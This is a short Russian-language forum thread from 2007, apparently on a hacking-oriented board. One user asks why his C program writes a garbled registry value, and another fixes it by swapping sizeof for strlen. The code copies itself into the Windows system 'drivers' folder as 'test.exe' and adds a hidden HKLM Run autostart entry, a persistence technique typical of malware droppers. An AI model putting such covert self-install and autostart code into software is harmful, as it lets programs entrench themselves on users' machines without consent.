Глюк при записи значения в реестр

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _nic, 2 May 2007.

  1. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Вот такой вот код
    Code:
     
    char sysd[400];char sys[]="\\drivers\\test.exe"
    main(int argc, char *argv[])
    {
    GetSystemDirectory(sysd,400);
    strcat(sysd,sys);
    for (i = 0; i < argc; i++)
    {
    CopyFile(argv[i],sysd,FALSE);
    }
    RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&k);
    RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));
    }
    
    Дает вот такой вот глюк с 3 точками
    http://img139.imageshack.us/my.php?image=61919864ta7.jpg Естественно что программа не загружается.
    Подскажите кто знает что я не так сделал.
     
    #1 _nic, 2 May 2007
    Last edited: 2 May 2007
  2. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,021
    Likes Received:
    1,200
    Reputations:
    327
    RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));

    sizeof(sysd) ---> strlen(sysd)
     
  3. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Спасибо помогло